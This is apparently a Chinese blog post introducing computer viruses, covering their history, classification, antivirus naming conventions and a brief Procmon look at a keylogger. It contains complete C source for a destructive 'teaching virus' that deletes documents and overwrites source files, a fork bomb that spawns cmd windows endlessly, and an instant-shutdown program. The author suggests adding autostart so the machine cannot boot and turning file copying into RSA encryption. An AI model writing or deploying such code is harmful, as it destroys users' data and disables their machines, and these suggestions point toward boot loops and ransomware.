目录
参考文档
病毒初识-认知、工具与简单分析_Fasthand_的博客-CSDN博客
病毒:关于病毒的一些东西(附带一些自己写的病毒程序)_薯片薯条的博客-CSDN博客
病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭..._CSDN资讯的博客-CSDN博客
发展阶段
DOS 引导阶段(“小球”、2708 病毒和“石头” 病毒)
DOS 可执行阶段 (“耶鲁撒冷”、“星期天” 等病毒)
伴随型阶段(“金蝉” 病毒)
变形阶段( “幽灵病毒”“一半”)
变种阶段(“病毒制造机” VCL)
蠕虫阶段(“蠕虫”)
PE 文件病毒(CIH)
宏病毒阶段
互联网病毒阶段(“尼姆达”、“欢乐时光” 、“欢乐谷”、「“冲击波”」 )
按照病毒的破坏性分类
良性病毒:仅仅显示信息、奏乐、发出声响,自我复制的。除了传染时减少磁盘的可用空间外,对系统没有其它影响。
恶性病毒:封锁、干扰、中断输入输出、使用户无法打印等正常工作,甚至电脑中止运行。这类病毒在计算机系统操作中造成严重的错误。
极恶性病毒:死机、系统崩溃、删除普通程序或系统文件,破坏系统配置导致系统死机、崩溃、无法重启。 这些病毒对系统造成的危害,并不是本身的算法中存在危险的调用,而是当它们传染时会引起无法预料的和灾难性的破坏。
灾难性病毒:破坏分区表信息、主引导信息、FAT,删除数据文件,甚至「格式化硬盘」等。
按照传染方式分类
文件型病毒:一般只传染磁盘上的可执行文件(COM,EXE)。在用户调用染毒的可执行文件时,病毒首先被运行,然后病毒驻留内存伺机传染其他文件或直接传染其他文件。其特点是附着于正常程序文件,成为程序文件的一个外壳或部件。这是较为常见的传染方式。
混合型病毒:兼有以上两种病毒的特点,既染引导区又染文件,因此扩大了这种病毒的传染途径。
需要注意的一些地方
木马, 病毒, 漏洞是不同的「三种东西」。
木马主要是黑客用作给电脑留后门。
其次是病毒. 指对电脑造成破坏的程序。
最后一个就是漏洞,是指计算机系统安全方面的缺陷。
一些病毒的源码
1. 教学病毒
首先先说一下这个病毒的基本作用.
- 感染文件
- 病毒会将某个目录下的文件进行感染, 下面两张图是感染前后的对比.
😱可以看到, 文件内容发生了变化.😱
2. 制造垃圾文件
程序运行以后, 会在某个目录下生成一些系统的临时文件。
3. 删除文件
顾名思义, 删除某个目录下特定的文件, 比如以. txt 结尾的文件.
运行病毒的程序之前步骤
这个病毒是感染特定目录下的文件, 因此需要提前创建一个目录, 并且在这个目录下创建一些文件.
创建一个文件夹 virus. 然后在这个文件夹下创建两个文件, 文件名如图. E_KILL.c 是当病毒感染文件以后的文件内容.
在 E_KILL.c 文件中写入以下代码.
#include<stdio.h>
#include<Windows.h>
int main(void)
{
printf("It is virus\n");
system("pause");
return 0;
}
另一个 viruse.c 就是我们病毒的源码。
接着就是 temp 文件夹了, 这个文件夹就是要被感染的目标文件夹, 按照如图创建.
s.txt 和 a.docx 是两个空的文件, 另外两个文件写入以下内容:
#include<stdio.h>
#include<Windows.h>
int main(void)
{
printf("TEST\n");
printf("TEST\n");
printf("TEST\n");
printf("TEST\n");
printf("TEST\n");
system("pause");
return 0;
}
病毒源码
#include<stdio.h>
#include<io.h>
#include<Windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>
#define INFECT_PATH "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp"
#define DELETE_FILE1 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.txt"
#define DELETE_FILE2 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.docx"
#define CREAT_EXE1 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\worm.exe"
#define CREAT_EXE2 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\virus.exe"
#define Targetfile "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.c"
#define Virusfile "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\E_KILL.c"
//使用了很多宏定义.这些都是后面会用得到的,需要改成你自己的文件路径,记得用两个斜杠做分隔符.
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
//函数声明
void MakeRubbish(void)
{
int i=0;
FILE *fp=NULL;
char* path=NULL;
char* NewName=NULL;
char tempname[]="XXXXXX";
//这个是生成临时文件的文件名,几个×就代表几个随机字符.
path=INFECT_PATH;
if(!_chdir(path))
{
printf("open DIR success\n");
}
else
{
printf("open DIR failed\n");
perror("Error: ");
}
//_chdir函数用于改变当前工作目录,将当前工作目录改成了宏定义的目录
NewName=_mktemp(tempname);
fp=fopen(NewName,"w");
fclose(fp);
//创建临时文件
}
void CreatEXE(void)
{
int i;
char* s[2]={CREAT_EXE1,CREAT_EXE2};
for(i=0;i<2;i++)
{
open(s[i],0x0100,0x0080);
//创建垃圾程序,open第二个参数是创建并且打开文件,第三个参数是写入的意思
copyfile(Virusfile,s[i]);
//将开始那个E_KILL文件内容复制到新创建的exe文件当中.
}
}
void Remove(void)
{
int done;
int i;
struct _finddata_t ffblk;
char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2};
for (i = 0; i < 2; i++)
{
done = _findfirst(documenttype[i],&ffblk);
if(done!=-1)
{
printf("delete %s\n",ffblk.name);
remove(ffblk.name);
while (!_findnext(done,&ffblk))
{
printf("delete %s\n",ffblk.name);
remove(ffblk.name);
}
}
_findclose(done);
}
//这个原理比较简单,就是进行了一个查找,然后删除.就不赘述了.
}
void copyfile(char* infile,char* outfile)
{
FILE *in,*out;
in=fopen(infile,"r");
out=fopen(outfile,"w");
while(!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
//感染文件子函数
void InfectFile(void)
{
int done;
int i;
struct _finddata_t ffblk;
char *documenttype = Targetfile;
done = _findfirst(documenttype,&ffblk);
copyfile(Virusfile,ffblk.name);
while (!_findnext(done,&ffblk))
{
copyfile(Virusfile,ffblk.name); //感染
}
_findclose(done);
}
//对文件进行感染,原理其实就是将病毒文件进行复制即可.
/*This is a flag:end*/
int main(void)
{
MakeRubbish( );
CreatEXE( );
Remove( );
InfectFile( );
system("pause");
return 0;
}
//主程序
运行的时候用管理员身份打开。
很多病毒的雏形。大概就是这样
比如可以对这个源码进行修改, 将一个「死循环」加到创建垃圾文件, 那么效果就是一直创建垃圾文件, 直到电脑内存被「全部占满」。
在比如, 可以将单纯的复制文件改为对文件进行 rsa 加密, 😽这样会比摧毁文件更让人头疼.🐱
运行结果
可以看到, 文件夹中被创建了一个叫做 a14192 的临时文件, 这个就是我们的功能之一.
接着打开 e.c, 可以看到文件已经变成了如图所示的内容.
由此可见, 我们的文件已经被成功感染.
当然, 这个病毒是非常简单的一种, 你可以对功能进行一些扩充, 比如写入注册表设置自启动, 比如格式化某个硬盘… 等等等等, 这个就看你了.
2. 一些小病毒
死机病毒
运行结果如图:
此刻我的虚拟机死机, 「只能重启」。
这个病毒的原理就是一直在打开 cmd 界面, 最后系统资源耗尽, 然后死机. 这次我打开性能监视器, 如图.
短短几秒钟, 进程就达到了 500 多个. 如果在加上上面的那个开机自启动脚本, 想想看, 后果是不是很可怕?
直接上源码.
#include <stdio.h>
int main(){
while(1)
system("start cmd");
//我写了一个死循环,然后执行cmd命令.这个命令就是打开cmd窗口,为什么要加start呢?这个可以百度一下为什么.
return 0;
}
代码很简单, 但是效果还是很猛的. 这个的原理和 %0 病毒是相似的.
重启病毒
重启是真的重启, 运行以后会让电脑直接关机. 如果配合上自启动脚本, 效果就是开机就关机, 开机就关机, 开机就…
威力还是比较可观的. 截图我就不上了, 直接放代码.
#include <stdio.h>
int main(){
system("shutdown -s -t 0");
//调用cmd命令,-s是关机的意思,-t 0 是设置0秒以后关机的意思
return 0;
}
首先, 运行病毒 1 里面的自启动脚本 (记得改文件名), 然后关机, 在开机, 病毒就开始执行了.
最后这个病毒是威力最大的一个, 因为你连机都开不了, 谈何删除病毒?
当然, 你可以进入安全模式进行删除, 而那些不懂这些的人可就遭了殃了.
上面三个其实可以直接在病毒程序中添加自启动命令的, 但是我的编译器一编译就会自动执行程序, 因此我写成了两个, 不然自己的病毒把自己感染了就出大事了.
病毒命名
卡巴斯基(俄罗斯)命名
一般情况下,卡巴斯基中的病毒名分为四个部分。
第一部分表示计算机病毒的主类型名和子类型名
第二部分表示计算机病毒运行的平台
第三部分表示计算机病毒所属的家族名
第四部分是变种名。
示例:
1.Trojan-Downloader.Win32.Agent.blm
Trojan-Downloader 字段表示病毒所属类型以及子类型,这个命名指的是此病毒属于木马类,而 Downloader 的意思是木马中的下载者病毒。
Win32 指的是此病毒的运行平台是 32 位的 Windows 系统
Agent 是指病毒的家族名,家族是指同一个组织,或同一个人缩写的功能相近、编译语言相同的一类病毒
blm 指该家族名下的变种名。因为同一个家族下会有很多功能相近但不完全相同的病毒,就用变种名区分。
2.Backdoor.Win32.Hupigon.zqf
这个命名是指该病毒属于后门(Blacdoor)类,运行于 32 位的 Windows 平台下,是灰鸽子家族(Hupigon)家族,变种名位 zqf
3.Worm.Win32.Delf.bd
该病毒属于蠕虫病毒,运行于 32 位 windows 平台下,属于 Delf 家族(Delf 家族通常指由 Delphi 语言编写的病毒,变种名为 bd)
4.Worm.Win32.Delf.be
说明与上面各方面相似,但是不是同一个病毒
瑞星(中国)的命名
一般情况下瑞星病毒的命名分为五个部分,第一部分是病毒的主类名,第二部分是子类型名,第三部分是病毒运行的平台,第四部分是病毒所属的家族名,第五部分是变种名。
1.Trojan.PSW.Win32.OnlineGames.GEN
和卡巴斯基命名相似,此病毒名表示该病毒属于木马类,并且是木马中的盗密码类,运行于 32 位的 win 平台,家族名是 OnLineGames(表示盗窃网络银行、在线游戏密码的病毒),变种名为 GEN。
2.Worm.Win32.VB.zbn
此命名表示该病毒属于蠕虫类,运行于 32 位的 Windows 平台,家族名是 VB(VB 编写),变种名是 zbn
其他概念
浏览器劫持:是一种不同于普通病毒木马感染途径的网络攻击手段,它是利用各种技术(如 DLL 插件等)对用户的浏览器进行篡改,改装后,它们会成为浏览器的一部分,可以直接控制浏览器进行指定的操作。
GUID:Globally Unique Identifier, 全局惟一标志符,在 Windows 系统中也被称为 Class ID 缩写为 CLSID。对于不同的应用程序、文件类型、OLE 对象、特殊文件以及各种系统组件,Windows 都会分配惟一表示它的 ID。
CLSID 是一个 128 位的随机数,其算法主要从两方面入手保证随机性和不重复。1. 一部分数字来自系统网卡的序列号,由于每个网卡的 MAC 地址都不一样所以产生的 ID 也会有差异。2. 另外一部分的数字来自于系统的当前时间。
KeyLog 病毒分析
我们使用 Procmon(processMonitor)进行分析。首先我们设置过滤器,其中对监控进程、注册表、操作等进行监控编辑。其操作如下:
对高亮进行编辑操作。
开始监控以后我们得到了很多的进程、操作信息。
进行一段分析后我们能看到 KeyLog 的操作状态,它会创建一个进程并且启动该进程,在我们进行点击或者键盘事件达到一定次数就会启动 WriteFile 操作,将信息写入 log.txt。而且,KeyLog 一直不会退出。
进行一段分析后我们能看到 KeyLog 的操作状态,它会创建一个进程并且启动该进程,在我们进行点击或者键盘事件达到一定次数就会启动 WriteFile 操作,将信息写入 log.txt。而且,KeyLog 一直不会退出。
🏹每日分享🏹:
在这里,最根本的原因无疑在于人最原初的、因而也是不可改变的机体组织的构成;也就是说,大致上在于一个人的感觉能力与肌肉活动、兴奋能力及机体新陈代谢能力之间构成的正常程度不一的比例。超常的感觉能力会引致情绪失衡、周期性的超乎寻常的愉快或者挥之不去的忧郁。天才的条件就是具备超越常人的神经力量——亦即超常的感觉能力。所以,亚里士多德相当正确地认为:所有杰出、优越的人都是忧郁的:“所有那些无论是哲学、政治学、诗歌或其他艺术方面表现出色的人,看上去都是忧郁的”。西塞罗在讲述下面这句经常被人们引用的话时,他所指的肯定也是上述那段话:“亚里士多德说,所有的天才人物都是忧郁的。”
一《人生的智慧 第二章 基本的划分》